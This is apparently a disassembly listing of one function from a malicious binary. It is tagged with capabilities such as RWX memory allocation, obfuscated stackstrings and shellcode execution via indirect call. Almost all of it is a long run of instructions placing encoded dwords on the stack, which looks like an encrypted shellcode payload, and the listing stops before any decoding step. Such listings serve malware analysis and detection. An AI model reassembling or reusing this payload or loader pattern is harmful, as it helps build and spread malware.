Function at 0x1800012b0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Terminate process

Disassembly:
push rbp
push rsi
lea rbp, [rsp - 0xad8]
sub rsp, 0xbd8
mov rax, qword [0x18002b018]
xor rax, rsp
mov qword [rbp + 0xac0], rax
dec edx
mov rsi, rcx
jne 0x1800030eb
mov dword [rsp + 0x20], 0x1a1dde2f
mov dword [rsp + 0x24], 0x2002017c
mov dword [rsp + 0x28], 0xc020c62
mov dword [rsp + 0x2c], 0x12073063
mov dword [rsp + 0x30], 0x84ef226b
mov dword [rsp + 0x34], 0xda94794f
mov dword [rsp + 0x38], 0xabd5199e
mov dword [rsp + 0x3c], 0x48684cad
mov dword [rsp + 0x40], 0x26fef51a
mov dword [rsp + 0x44], 0x32676b62
mov dword [rsp + 0x48], 0xbdff7251
mov dword [rsp + 0x4c], 0xf70ff19
mov dword [rsp + 0x50], 0x34bf8465
mov dword [rsp + 0x54], 0x27b51b1b
mov dword [rsp + 0x58], 0xce2604a
mov dword [rsp + 0x5c], 0x1ce86d6b
mov dword [rsp + 0x60], 0xce8036c
mov dword [rsp + 0x64], 0x78a0000d
mov dword [rsp + 0x68], 0x4de32b41
mov dword [rsp + 0x6c], 0x73d81f57
mov dword [rsp + 0x70], 0xfbd81c54
mov dword [rsp + 0x74], 0x4d564db5
mov dword [rsp + 0x78], 0x31cf87e
mov dword [rsp + 0x7c], 0x702fe374
mov dword [rbp - 0x80], 0x4526c823
mov dword [rbp - 0x7c], 0x2f19d829
mov dword [rbp - 0x78], 0x3825c42d
mov dword [rbp - 0x74], 0x2374bc4f
mov dword [rbp - 0x70], 0x732b890c
mov dword [rbp - 0x6c], 0xc8678771
mov dword [rbp - 0x68], 0xc571cbee
mov dword [rbp - 0x64], 0xf972b113
mov dword [rbp - 0x60], 0xe35ab114
mov dword [rbp - 0x5c], 0xc8236627
mov dword [rbp - 0x58], 0xd843012f
mov dword [rbp - 0x54], 0x2b4f6310
mov dword [rbp - 0x50], 0x1b0d0ce1
mov dword [rbp - 0x4c], 0x726626fe
mov dword [rbp - 0x48], 0xf9513967
mov dword [rbp - 0x44], 0x76344431
mov dword [rbp - 0x40], 0x8914d59
mov dword [rbp - 0x3c], 0x61514222
mov dword [rbp - 0x38], 0x3027ad3c
mov dword [rbp - 0x34], 0x250f4145
mov dword [rbp - 0x30], 0x2b4814a6
mov dword [rbp - 0x2c], 0x8f682165
mov dword [rbp - 0x28], 0x63381dac
mov dword [rbp - 0x24], 0x320b536a
mov dword [rbp - 0x20], 0x78f1f834
mov dword [rbp - 0x1c], 0x3d357650
mov dword [rbp - 0x18], 0x39120991
mov dword [rbp - 0x14], 0xe5d3c1d
mov dword [rbp - 0x10], 0xd4f6ca5
mov dword [rbp - 0xc], 0x23034c27
mov dword [rbp - 8], 0x1d410393
mov dword [rbp - 4], 0x74503a09
mov dword [rbp], 0x384e27fe
mov dword [rbp + 4], 0x4a233e31
mov dword [rbp + 8], 0x4a7510b3
mov dword [rbp + 0xc], 0xc3a2c40
mov dword [rbp + 0x10], 0x137535f1
mov dword [rbp + 0x14], 0x4b0d0650
mov dword [rbp + 0x18], 0x73e304ac
mov dword [rbp + 0x1c], 0x80202308
mov dword [rbp + 0x20], 0x291dc120
mov dword [rbp + 0x24], 0x26fe6545
mov dword [rbp + 0x28], 0x230872fa
mov dword [rbp + 0x2c], 0x11b35834
mov dword [rbp + 0x30], 0x8a4115c5
mov dword [rbp + 0x34], 0x1d70a513
mov dword [rbp + 0x38], 0x2ffb2024
mov dword [rbp + 0x3c], 0x2f22408e
mov dword [rbp + 0x40], 0xa124e218
mov dword [rbp + 0x44], 0x2e103520
mov dword [rbp + 0x48], 0x41dd0daf
mov dword [rbp + 0x4c], 0xc7040c50
mov dword [rbp + 0x50], 0x5f12af22
mov dword [rbp + 0x54], 0x33963c17
mov dword [rbp + 0x58], 0x39330a8d
mov dword [rbp + 0x5c], 0xef14b678
mov dword [rbp + 0x60], 0x5e0b1e5d
mov dword [rbp + 0x64], 0x40ab04ac
mov dword [rbp + 0x68], 0x80272832
mov dword [rbp + 0x6c], 0x2d1c8920
mov dword [rbp + 0x70], 0xa45f7c44
mov dword [rbp + 0x74], 0x3109c82f
mov dword [rbp + 0x78], 0x3bbe7b97
mov dword [rbp + 0x7c], 0x1fe53396
mov dword [rbp + 0x80], 0xb6772122
mov dword [rbp + 0x84], 0xe588714
mov dword [rbp + 0x88], 0x4ac5d24
mov dword [rbp + 0x8c], 0x25024bb3
mov dword [rbp + 0x90], 0x9120803d
mov dword [rbp + 0x94], 0x547d2607
mov dword [rbp + 0x98], 0xe02fa45f
mov dword [rbp + 0x9c], 0x1bb93b05
mov dword [rbp + 0xa0], 0xcf51547d
mov dword [rbp + 0xa4], 0x138f0c80
mov dword [rbp + 0xa8], 0xbb89fa7e
mov dword [rbp + 0xac], 0x28626324
mov dword [rbp + 0xb0], 0xe28bca27
mov dword [rbp + 0xb4], 0x474c1124
mov dword [rbp + 0xb8], 0xc5204d7d
mov dword [rbp + 0xbc], 0xb10a3d6c
mov dword [rbp + 0xc0], 0x732b8d26
mov dword [rbp + 0xc4], 0x11fd7661
mov dword [rbp + 0xc8], 0x8b83a19
mov dword [rbp + 0xcc], 0x8eff7e16
mov dword [rbp + 0xd0], 0x26b71b82
mov dword [rbp + 0xd4], 0xcc231846
mov dword [rbp + 0xd8], 0x1959012f
mov dword [rbp + 0xdc], 0x654103dd
mov dword [rbp + 0xe0], 0x3564c524
mov dword [rbp + 0xe4], 0x204e27fe
mov dword [rbp + 0xe8], 0x3e5d576b
mov dword [rbp + 0xec], 0x5205d93c
mov dword [rbp + 0xf0], 0x8d650815
mov dword [rbp + 0xf4], 0x1b858e77
mov dword [rbp + 0xf8], 0x184626b7
mov dword [rbp + 0xfc], 0xad2ecc23
mov dword [rbp + 0x100], 0xf946224
mov dword [rbp + 0x104], 0x604c09ec
mov dword [rbp + 0x108], 0x5374b865
mov dword [rbp + 0x10c], 0x774344ad
mov dword [rbp + 0x110], 0x547a3e5f
mov dword [rbp + 0x114], 0x6961fb19
mov dword [rbp + 0x118], 0xa5c90c76
mov dword [rbp + 0x11c], 0x4e70d819
mov dword [rbp + 0x120], 0x4e66052
mov dword [rbp + 0x124], 0x91526083
mov dword [rbp + 0x128], 0x6921ce1c
mov dword [rbp + 0x12c], 0x78a40440
mov dword [rbp + 0x130], 0x242ea401
mov dword [rbp + 0x134], 0x2b514247
mov dword [rbp + 0x138], 0x22dc1c74
mov dword [rbp + 0x13c], 0xb2176d11
mov dword [rbp + 0x140], 0x1fda39e2
mov dword [rbp + 0x144], 0xa52a5a18
mov dword [rbp + 0x148], 0x162ef92e
mov dword [rbp + 0x14c], 0x3dd19a1
mov dword [rbp + 0x150], 0xc5246541
mov dword [rbp + 0x154], 0x27fe4d64
mov dword [rbp + 0x158], 0x5774204e
mov dword [rbp + 0x15c], 0xd93c3e42
mov dword [rbp + 0x160], 0xc155205
mov dword [rbp + 0x164], 0xfa7e99a9
mov dword [rbp + 0x168], 0x220c771d
mov dword [rbp + 0x16c], 0x4043adef
mov dword [rbp + 0x170], 0x6224256b
mov dword [rbp + 0x174], 0x9ec0f94
mov dword [rbp + 0x178], 0xb865604c
mov dword [rbp + 0x17c], 0x44ad4374
mov dword [rbp + 0x180], 0x3e547743
mov dword [rbp + 0x184], 0xfb195471
mov dword [rbp + 0x188], 0xc766961
mov dword [rbp + 0x18c], 0xd819a5c9
mov dword [rbp + 0x190], 0x60524e70
mov dword [rbp + 0x194], 0x60bb04e6
mov dword [rbp + 0x198], 0xce1c9152
mov dword [rbp + 0x19c], 0x4406921
mov dword [rbp + 0x1a0], 0x63b9b8a4
mov dword [rbp + 0x1a4], 0x13a0006a
mov dword [rbp + 0x1a8], 0x54671e75
mov dword [rbp + 0x1ac], 0xc07d7642
mov dword [rbp + 0x1b0], 0x30166902
mov dword [rbp + 0x1b4], 0xe17487ae
mov dword [rbp + 0x1b8], 0x95b0c2e
mov dword [rbp + 0x1bc], 0x194561e6
mov dword [rbp + 0x1c0], 0x5a57411
mov dword [rbp + 0x1c4], 0x1d0d0ce1
mov dword [rbp + 0x1c8], 0x2827ee75
mov dword [rbp + 0x1cc], 0x1e7513a0
mov dword [rbp + 0x1d0], 0x765d5478
mov dword [rbp + 0x1d4], 0x6902c07d
mov dword [rbp + 0x1d8], 0x87ae3016
mov dword [rbp + 0x1dc], 0xc2ee174
mov dword [rbp + 0x1e0], 0x60e6095b
mov dword [rbp + 0x1e4], 0xb86714f9
mov dword [rbp + 0x1e8], 0x6c2cc42d
mov dword [rbp + 0x1ec], 0xa30a7001
mov dword [rbp + 0x1f0], 0x11ff45ad
mov dword [rbp + 0x1f4], 0x18105038
mov dword [rbp + 0x1f8], 0x8a653bdc
mov dword [rbp + 0x1fc], 0x1464d113
mov dword [rbp + 0x200], 0xe7743c22
mov dword [rbp + 0x204], 0x864b0c36
mov dword [rbp + 0x208], 0x2314852e
mov dword [rbp + 0x20c], 0x8a032237
mov dword [rbp + 0x210], 0x357eec2d
mov dword [rbp + 0x214], 0x584e27fe
mov dword [rbp + 0x218], 0x5a30382b
mov dword [rbp + 0x21c], 0x2a7510b3
mov dword [rbp + 0x220], 0x22252867
mov dword [rbp + 0x224], 0x337535f1
mov dword [rbp + 0x228], 0x4d011849
mov dword [rbp + 0x22c], 0x117c92f
mov dword [rbp + 0x230], 0xef119605
mov dword [rbp + 0x234], 0x2d122436
mov dword [rbp + 0x238], 0xc9570ee
mov dword [rbp + 0x23c], 0x9002520c
mov dword [rbp + 0x240], 0x3b078e14
mov dword [rbp + 0x244], 0x8a530424
mov dword [rbp + 0x248], 0x1455f913
mov dword [rbp + 0x24c], 0xdc41db15
mov dword [rbp + 0x250], 0x294f6ca5
mov dword [rbp + 0x254], 0x3a024a27
mov dword [rbp + 0x258], 0x21410393
mov dword [rbp + 0x25c], 0x5a5a2d3a
mov dword [rbp + 0x260], 0x704e27fe
mov dword [rbp + 0x264], 0x5b322512
mov dword [rbp + 0x268], 0x522ddc30
mov dword [rbp + 0x26c], 0x69128a41
mov dword [rbp + 0x270], 0x3623374e
mov dword [rbp + 0x274], 0xc26ad59
mov dword [rbp + 0x278], 0x560e1317
mov dword [rbp + 0x27c], 0xc711960e
mov dword [rbp + 0x280], 0x2d0b3f10
mov dword [rbp + 0x284], 0xe744bd6d
mov dword [rbp + 0x288], 0x774344ad
mov dword [rbp + 0x28c], 0x547a3e5f
mov dword [rbp + 0x290], 0x5e18910
mov dword [rbp + 0x294], 0x291209db
mov dword [rbp + 0x298], 0x4a181796
mov dword [rbp + 0x29c], 0x4166286f
mov dword [rbp + 0x2a0], 0x752dae23
mov dword [rbp + 0x2a4], 0xe80b64
mov dword [rbp + 0x2a8], 0xf51a0d30
mov dword [rbp + 0x2ac], 0x242eea71
mov dword [rbp + 0x2b0], 0x6adc1f4f
mov dword [rbp + 0x2b4], 0x89107450
mov dword [rbp + 0x2b8], 0x1dd05e1
mov dword [rbp + 0x2bc], 0xde194112
mov dword [rbp + 0x2c0], 0x1b27c279
mov dword [rbp + 0x2c4], 0x61e209ab
mov dword [rbp + 0x2c8], 0xca187945
mov dword [rbp + 0x2cc], 0xcaf2d28
mov dword [rbp + 0x2d0], 0x6336150d
mov dword [rbp + 0x2d4], 0xda2f0065
mov dword [rbp + 0x2d8], 0x15541a05
mov dword [rbp + 0x2dc], 0xc67da2ae
mov dword [rbp + 0x2e0], 0x3906691a
mov dword [rbp + 0x2e4], 0x21817dc
mov dword [rbp + 0x2e8], 0x9ab1b27
mov dword [rbp + 0x2ec], 0x794561e2
mov dword [rbp + 0x2f0], 0x2528ca18
mov dword [rbp + 0x2f4], 0x150d0caf
mov dword [rbp + 0x2f8], 0x676334
mov dword [rbp + 0x2fc], 0x1a05da2f
mov dword [rbp + 0x300], 0xa2ae1554
mov dword [rbp + 0x304], 0x691ac67d
mov dword [rbp + 0x308], 0x17dc3906
mov dword [rbp + 0x30c], 0x1b271218
mov dword [rbp + 0x310], 0x61e209ab
mov dword [rbp + 0x314], 0xca187945
mov dword [rbp + 0x318], 0xcaf3d28
mov dword [rbp + 0x31c], 0x6334150d
mov dword [rbp + 0x320], 0xda2f0067
mov dword [rbp + 0x324], 0x15541a05
mov dword [rbp + 0x328], 0x4270a2ae
mov dword [rbp + 0x32c], 0x301608e1
mov dword [rbp + 0x330], 0x7269e45e
mov dword [rbp + 0x334], 0x4126a32b
mov dword [rbp + 0x338], 0x18317094
mov dword [rbp + 0x33c], 0x5650adf
mov dword [rbp + 0x340], 0xbe6198e3
mov dword [rbp + 0x344], 0x583f9ce1
mov dword [rbp + 0x348], 0x3e1cdc2e
mov dword [rbp + 0x34c], 0x3e82df3c
mov dword [rbp + 0x350], 0x18a9b5be
mov dword [rbp + 0x354], 0x9cda3956
mov dword [rbp + 0x358], 0xd792e178
mov dword [rbp + 0x35c], 0xae2a293e
mov dword [rbp + 0x360], 0x8d914b7
mov dword [rbp + 0x364], 0x9a17e25
mov dword [rbp + 0x368], 0x63093591
mov dword [rbp + 0x36c], 0x8fec486a
mov dword [rbp + 0x370], 0x11746bae
mov dword [rbp + 0x374], 0x53421dc
mov dword [rbp + 0x378], 0xfa73bddd
mov dword [rbp + 0x37c], 0x9cb9169e
mov dword [rbp + 0x380], 0xca270016
mov dword [rbp + 0x384], 0x894a6dab
mov dword [rbp + 0x388], 0x7ea4241d
mov dword [rbp + 0x38c], 0x40de01ba
mov dword [rbp + 0x390], 0x45e12a29
mov dword [rbp + 0x394], 0xf452126f
mov dword [rbp + 0x398], 0x345358fe
mov dword [rbp + 0x39c], 0xc554107
mov dword [rbp + 0x3a0], 0x501c79be
mov dword [rbp + 0x3a4], 0xe6592ffe
mov dword [rbp + 0x3a8], 0xae239f19
mov dword [rbp + 0x3ac], 0x3701aeae
mov dword [rbp + 0x3b0], 0x48157429
mov dword [rbp + 0x3b4], 0x66ceb126
mov dword [rbp + 0x3b8], 0x6e2b006a
mov dword [rbp + 0x3bc], 0xd07b0e2c
mov dword [rbp + 0x3c0], 0x4d3573bc
mov dword [rbp + 0x3c4], 0x514b741a
mov dword [rbp + 0x3c8], 0x6fdfd75e
mov dword [rbp + 0x3cc], 0x78272862
mov dword [rbp + 0x3d0], 0xd56e1d16
mov dword [rbp + 0x3d4], 0x4d65428d
mov dword [rbp + 0x3d8], 0x4d64c324
mov dword [rbp + 0x3dc], 0xfa3e674
mov dword [rbp + 0x3e0], 0x3e549be3
mov dword [rbp + 0x3e4], 0x8321c74
mov dword [rbp + 0x3e8], 0xb3550509
mov dword [rbp + 0x3ec], 0x16014eb7
mov dword [rbp + 0x3f0], 0xad6d6a3c
mov dword [rbp + 0x3f4], 0x256b44d2
mov dword [rbp + 0x3f8], 0x47d235d9
mov dword [rbp + 0x3fc], 0xf512b65
mov dword [rbp + 0x400], 0xc9bc3a2d
mov dword [rbp + 0x404], 0x1367006f
mov dword [rbp + 0x408], 0x154c79da
mov dword [rbp + 0x40c], 0x4d3577ea
mov dword [rbp + 0x410], 0xb2b20856
mov dword [rbp + 0x414], 0x6fabd65e
mov dword [rbp + 0x418], 0xf6642862
mov dword [rbp + 0x41c], 0xda20232c
mov dword [rbp + 0x420], 0x2d2488b
mov dword [rbp + 0x424], 0x41e9cd7c
mov dword [rbp + 0x428], 0xc1e92b11
mov dword [rbp + 0x42c], 0xeeda1343
mov dword [rbp + 0x430], 0xfd9e573c
mov dword [rbp + 0x434], 0x9fd34964
mov dword [rbp + 0x438], 0x42da7643
mov dword [rbp + 0x43c], 0xc3b2697d
mov dword [rbp + 0x440], 0x1e7a4269
mov dword [rbp + 0x444], 0x9d135eb2
mov dword [rbp + 0x448], 0x60a9ce2d
mov dword [rbp + 0x44c], 0x16ea1e64
mov dword [rbp + 0x450], 0xdaea4888
mov dword [rbp + 0x454], 0x54743ec1
mov dword [rbp + 0x458], 0xc6e48910
mov dword [rbp + 0x45c], 0x7136d9c3
mov dword [rbp + 0x460], 0x18b11751
mov dword [rbp + 0x464], 0x36686c9d
mov dword [rbp + 0x468], 0xae23a83b
mov dword [rbp + 0x46c], 0xc02d97a3
mov dword [rbp + 0x470], 0x166db722
mov dword [rbp + 0x474], 0x48a9e8c9
mov dword [rbp + 0x478], 0xb3199f64
mov dword [rbp + 0x47c], 0x8119ab36
mov dword [rbp + 0x480], 0x857505e5
mov dword [rbp + 0x484], 0x5ca04a7a
mov dword [rbp + 0x488], 0x28674eb9
mov dword [rbp + 0x48c], 0x6ae0096b
mov dword [rbp + 0x490], 0x43ed1051
mov dword [rbp + 0x494], 0x9684d65
mov dword [rbp + 0x498], 0x63093591
mov dword [rbp + 0x49c], 0x81ec416a
mov dword [rbp + 0x4a0], 0x1c746bae
mov dword [rbp + 0x4a4], 0xc87daeda
mov dword [rbp + 0x4a8], 0x35233896
mov dword [rbp + 0x4ac], 0x2b381bdc
mov dword [rbp + 0x4b0], 0x415b28da
mov dword [rbp + 0x4b4], 0x87ea646b
mov dword [rbp + 0x4b8], 0x189a8e67
mov dword [rbp + 0x4bc], 0xeda20068
mov dword [rbp + 0x4c0], 0x415625b2
mov dword [rbp + 0x4c4], 0x3e5156d9
mov dword [rbp + 0x4c8], 0x4a12dd74
mov dword [rbp + 0x4cc], 0x766a1bbe
mov dword [rbp + 0x4d0], 0x5e222561
mov dword [rbp + 0x4d4], 0x2b23a0b7
mov dword [rbp + 0x4d8], 0x146fcbbd
mov dword [rbp + 0x4dc], 0xac4d55e9
mov dword [rbp + 0x4e0], 0x330b058b
mov dword [rbp + 0x4e4], 0xb4b27015
mov dword [rbp + 0x4e8], 0x1f9c0322
mov dword [rbp + 0x4ec], 0x54fc83d8
mov dword [rbp + 0x4f0], 0xfa3a7651
mov dword [rbp + 0x4f4], 0x35505911
mov dword [rbp + 0x4f8], 0x193a2c6a
mov dword [rbp + 0x4fc], 0x6e6645c
mov dword [rbp + 0x500], 0x91626943
mov dword [rbp + 0x504], 0x8aacc11
mov dword [rbp + 0x508], 0x2a5f7051
mov dword [rbp + 0x50c], 0x43ae878
mov dword [rbp + 0x510], 0xc219dc26
mov dword [rbp + 0x514], 0x3390df35
mov dword [rbp + 0x518], 0x4e1e8336
mov dword [rbp + 0x51c], 0x835239fe
mov dword [rbp + 0x520], 0xa0506eb6
mov dword [rbp + 0x524], 0x1e2e586f
mov dword [rbp + 0x528], 0x48b52369
mov dword [rbp + 0x52c], 0xd6e0ad2
mov dword [rbp + 0x530], 0xe070e32a
mov dword [rbp + 0x534], 0x6c2328aa
mov dword [rbp + 0x538], 0x18bd4c81
mov dword [rbp + 0x53c], 0x6679a5da
mov dword [rbp + 0x540], 0xf5397d01
mov dword [rbp + 0x544], 0x6a3c53e2
mov dword [rbp + 0x548], 0xf5d41126
mov dword [rbp + 0x54c], 0x5e61256b
mov dword [rbp + 0x550], 0x4d65e1d0
mov dword [rbp + 0x554], 0xb2a20c68
mov dword [rbp + 0x558], 0x6a6389
mov dword [rbp + 0x55c], 0x7b92542b
mov dword [rbp + 0x560], 0xf25e6c4d
mov dword [rbp + 0x564], 0x4d564da6
mov dword [rbp + 0x568], 0x5caeca77
mov dword [rbp + 0x56c], 0x95236a3c
mov dword [rbp + 0x570], 0x256b4169
mov dword [rbp + 0x574], 0x4f1cdc2c
mov dword [rbp + 0x578], 0x47292b8e
mov dword [rbp + 0x57c], 0xd436349e
mov dword [rbp + 0x580], 0xbea666a2
mov dword [rbp + 0x584], 0xadf7585d
mov dword [rbp + 0x588], 0xc3a035b
mov dword [rbp + 0x58c], 0x527f45dd
mov dword [rbp + 0x590], 0xa93f1b92
mov dword [rbp + 0x594], 0x407f292e
mov dword [rbp + 0x598], 0xd2076680
mov dword [rbp + 0x59c], 0x411044ad
mov dword [rbp + 0x5a0], 0x7dea6b21
mov dword [rbp + 0x5a4], 0x41696fb4
mov dword [rbp + 0x5a8], 0x14ba95ec
mov dword [rbp + 0x5ac], 0xb86a1512
mov dword [rbp + 0x5b0], 0x6e1f5e40
mov dword [rbp + 0x5b4], 0x5fdc39f5
mov dword [rbp + 0x5b8], 0xeae9233f
mov dword [rbp + 0x5bc], 0x35838023
mov dword [rbp + 0x5c0], 0xac94e66e
mov dword [rbp + 0x5c4], 0x73292b74
mov dword [rbp + 0x5c8], 0x2a2b40e4
mov dword [rbp + 0x5cc], 0xda2fc349
mov dword [rbp + 0x5d0], 0x5b353d5d
mov dword [rbp + 0x5d4], 0xc674b4e6
mov dword [rbp + 0x5d8], 0x75370546
mov dword [rbp + 0x5dc], 0xa73f1e5b
mov dword [rbp + 0x5e0], 0x452ba323
mov dword [rbp + 0x5e4], 0x1da12622
mov dword [rbp + 0x5e8], 0xc3108f6f
mov dword [rbp + 0x5ec], 0x70e8c325
mov dword [rbp + 0x5f0], 0x801f5a00
mov dword [rbp + 0x5f4], 0x2efcdc2b
mov dword [rbp + 0x5f8], 0x32515475
mov dword [rbp + 0x5fc], 0x4dc2f20c
mov dword [rbp + 0x600], 0xd75e7136
mov dword [rbp + 0x604], 0x28626b40
mov dword [rbp + 0x608], 0xb5ecca2f
mov dword [rbp + 0x60c], 0x2545161
mov dword [rbp + 0x610], 0x4b24a2ee
mov dword [rbp + 0x614], 0x23b47cea
mov dword [rbp + 0x618], 0x1260eb66
mov dword [rbp + 0x61c], 0xd93cd052
mov dword [rbp + 0x620], 0x74716211
mov dword [rbp + 0x624], 0x34c2386e
mov dword [rbp + 0x628], 0x164abd6a
mov dword [rbp + 0x62c], 0xbe36a527
mov dword [rbp + 0x630], 0x71dcac2f
mov dword [rbp + 0x634], 0x8654755
mov dword [rbp + 0x638], 0xb06c9fe3
mov dword [rbp + 0x63c], 0x4d1f17e2
mov dword [rbp + 0x640], 0x31109fec
mov dword [rbp + 0x644], 0xa4625564
mov dword [rbp + 0x648], 0xc9bc674
mov dword [rbp + 0x64c], 0xa538bb1d
mov dword [rbp + 0x650], 0x286129c1
mov dword [rbp + 0x654], 0x2514bed3
mov dword [rbp + 0x658], 0x74a5a661
mov dword [rbp + 0x65c], 0x8baeccb7
mov dword [rbp + 0x660], 0x223913b7
mov dword [rbp + 0x664], 0xdc610ce7
mov dword [rbp + 0x668], 0x449cff97
mov dword [rbp + 0x66c], 0x4d4a8974
mov dword [rbp + 0x670], 0x30c7ba56
mov dword [rbp + 0x674], 0x69799152
mov dword [rbp + 0x678], 0x4de660b4
mov dword [rbp + 0x67c], 0x5ea64eb
mov dword [rbp + 0x680], 0x422457dc
mov dword [rbp + 0x684], 0x74a14478
mov dword [rbp + 0x688], 0x886e7236
mov dword [rbp + 0x68c], 0x2e10dc26
mov dword [rbp + 0x690], 0xfe15dd35
mov dword [rbp + 0x694], 0x5c590c25
mov dword [rbp + 0x698], 0x2d8303f
mov dword [rbp + 0x69c], 0x61ef272c
mov dword [rbp + 0x6a0], 0xf650047f
mov dword [rbp + 0x6a4], 0x4bbfcd13
mov dword [rbp + 0x6a8], 0x4978c8ee
mov dword [rbp + 0x6ac], 0xe6b03529
mov dword [rbp + 0x6b0], 0x5767014a
mov dword [rbp + 0x6b4], 0x54e489da
mov dword [rbp + 0x6b8], 0x4e7d7651
mov dword [rbp + 0x6bc], 0x7d70c6a5
mov dword [rbp + 0x6c0], 0xee3393d4
mov dword [rbp + 0x6c4], 0x416b28d7
mov dword [rbp + 0x6c8], 0x504198e0
mov dword [rbp + 0x6cc], 0x85ee4754
mov dword [rbp + 0x6d0], 0xcae24b20
mov dword [rbp + 0x6d4], 0x89224b6c
mov dword [rbp + 0x6d8], 0x7b617323
mov dword [rbp + 0x6dc], 0xfd159447
mov dword [rbp + 0x6e0], 0x9ddd0103
mov dword [rbp + 0x6e4], 0x432ffa72
mov dword [rbp + 0x6e8], 0x64916970
mov dword [rbp + 0x6ec], 0xae22ba68
mov dword [rbp + 0x6f0], 0x8ed1196f
mov dword [rbp + 0x6f4], 0xcd201211
mov dword [rbp + 0x6f8], 0x26314ce0
mov dword [rbp + 0x6fc], 0x6461b765
mov dword [rbp + 0x700], 0x1c5bd583
mov dword [rbp + 0x704], 0x43725dc
mov dword [rbp + 0x708], 0x727e8ddd
mov dword [rbp + 0x70c], 0x68041780
mov dword [rbp + 0x710], 0xbe232116
mov dword [rbp + 0x714], 0x555961ab
mov dword [rbp + 0x718], 0x5923256
mov dword [rbp + 0x71c], 0x1d0d1ce1
mov dword [rbp + 0x720], 0x48aa507c
mov dword [rbp + 0x724], 0x1e7503ea
mov dword [rbp + 0x728], 0x5215dd12
mov dword [rbp + 0x72c], 0x9df2b15
mov dword [rbp + 0x730], 0xd81c5312
mov dword [rbp + 0x734], 0xe2e923f3
mov dword [rbp + 0x738], 0x6cbfbe2a
mov dword [rbp + 0x73c], 0xe5c97e2
mov dword [rbp + 0x740], 0xd608ae6
mov dword [rbp + 0x744], 0xe870f51a
mov dword [rbp + 0x748], 0x9ee24864
mov dword [rbp + 0x74c], 0xdf383925
mov dword [rbp + 0x750], 0xa6055205
mov dword [rbp + 0x754], 0x8cb50cf7
mov dword [rbp + 0x758], 0x3352550
mov dword [rbp + 0x75c], 0x4168c0ad
mov dword [rbp + 0x760], 0x7134da6b
mov dword [rbp + 0x764], 0x54501df
mov dword [rbp + 0x768], 0x703d8eeb
mov dword [rbp + 0x76c], 0xc0ef9c0a
mov dword [rbp + 0x770], 0xc109d268
mov dword [rbp + 0x774], 0xfd19ab8b
mov dword [rbp + 0x778], 0x4d56c588
mov dword [rbp + 0x77c], 0xfeda3d36
mov dword [rbp + 0x780], 0x28626b2c
mov dword [rbp + 0x784], 0xd1d4782f
mov dword [rbp + 0x788], 0x48545161
mov dword [rbp + 0x78c], 0x4868ebe1
mov dword [rbp + 0x790], 0xd4b27129
mov dword [rbp + 0x794], 0x5767009a
mov dword [rbp + 0x798], 0x50b2bd18
mov dword [rbp + 0x79c], 0xa4c6751d
mov dword [rbp + 0x7a0], 0x71364ddc
mov dword [rbp + 0x7a4], 0x2232d810
mov dword [rbp + 0x7a8], 0x1494e361
mov dword [rbp + 0x7ac], 0x15e86d43
mov dword [rbp + 0x7b0], 0x7e207770
mov dword [rbp + 0x7b4], 0x43a209a8
mov dword [rbp + 0x7b8], 0xc8e12b31
mov dword [rbp + 0x7bc], 0x322fdc22
mov dword [rbp + 0x7c0], 0x3aa2573c
mov dword [rbp + 0x7c4], 0x741ab636
mov dword [rbp + 0x7c8], 0x1a0d0530
mov dword [rbp + 0x7cc], 0xad2a7db7
mov dword [rbp + 0x7d0], 0x616338b9
mov dword [rbp + 0x7d4], 0x7496e66e
mov dword [rbp + 0x7d8], 0x47a6b7
mov dword [rbp + 0x7dc], 0x2a3bf7aa
mov dword [rbp + 0x7e0], 0x542fc0e1
mov dword [rbp + 0x7e4], 0x564c7a82
mov dword [rbp + 0x7e8], 0xb27d7f25
mov dword [rbp + 0x7ec], 0x750e0996
mov dword [rbp + 0x7f0], 0x22cb2653
mov dword [rbp + 0x7f4], 0x694f7ceb
mov dword [rbp + 0x7f8], 0x19a1162e
mov dword [rbp + 0x7fc], 0x6d4113d9
mov dword [rbp + 0x800], 0x116dc10e
mov dword [rbp + 0x804], 0x44e30519
mov dword [rbp + 0x808], 0xb51d7543
mov dword [rbp + 0x80c], 0xa2ae15ba
mov dword [rbp + 0x810], 0x4590ce7d
mov dword [rbp + 0x814], 0x5b96f27f
mov dword [rbp + 0x818], 0x64a25979
mov dword [rbp + 0x81c], 0x221f4752
mov dword [rbp + 0x820], 0x6318da29
mov dword [rbp + 0x824], 0x1cca655
mov dword [rbp + 0x828], 0x2619f3aa
mov dword [rbp + 0x82c], 0x6e22ff59
mov dword [rbp + 0x830], 0x39f1316f
mov dword [rbp + 0x834], 0x8ca89ae
mov dword [rbp + 0x838], 0xc639badd
mov dword [rbp + 0x83c], 0xd67d4716
mov dword [rbp + 0x840], 0x416b2863
mov dword [rbp + 0x844], 0x2e5a610d
mov dword [rbp + 0x848], 0x95e64852
mov dword [rbp + 0x84c], 0x7d294868
mov dword [rbp + 0x850], 0x485614b4
mov dword [rbp + 0x854], 0xb314a764
mov dword [rbp + 0x858], 0x32507018
mov dword [rbp + 0x85c], 0x42ba330c
mov dword [rbp + 0x860], 0x5351d6b2
mov dword [rbp + 0x864], 0xa36ce13c
mov dword [rbp + 0x868], 0x3b8180ba
mov dword [rbp + 0x86c], 0x641590ea
mov dword [rbp + 0x870], 0x55808cb1
mov dword [rbp + 0x874], 0x2226dce8
mov dword [rbp + 0x878], 0x4812c449
mov dword [rbp + 0x87c], 0x5a01ecd4
mov dword [rbp + 0x880], 0x5670afa6
mov dword [rbp + 0x884], 0x91b50c96
mov dword [rbp + 0x888], 0xae3f1656
mov dword [rbp + 0x88c], 0x989c7889
mov dword [rbp + 0x890], 0x14a13e2e
mov dword [rbp + 0x894], 0x4e208277
mov dword [rbp + 0x898], 0xb06aa3ad
mov dword [rbp + 0x89c], 0x854916eb
mov dword [rbp + 0x8a0], 0x7a5722ae
mov dword [rbp + 0x8a4], 0x9d4116f9
mov dword [rbp + 0x8a8], 0x3884c800
mov dword [rbp + 0x8ac], 0x2798f423
mov dword [rbp + 0x8b0], 0xa8da2b34
mov dword [rbp + 0x8b4], 0xce6b416b
mov dword [rbp + 0x8b8], 0xc2df1544
mov dword [rbp + 0x8bc], 0x48684c7d
mov dword [rbp + 0x8c0], 0xaabc16c2
mov dword [rbp + 0x8c4], 0xda23061f
mov dword [rbp + 0x8c8], 0x469f1e10
mov dword [rbp + 0x8cc], 0x55b0fd15
mov dword [rbp + 0x8d0], 0xf4364d57
mov dword [rbp + 0x8d4], 0x6a7ceb98
mov dword [rbp + 0x8d8], 0x4e2f2862
mov dword [rbp + 0x8dc], 0xd825e52e
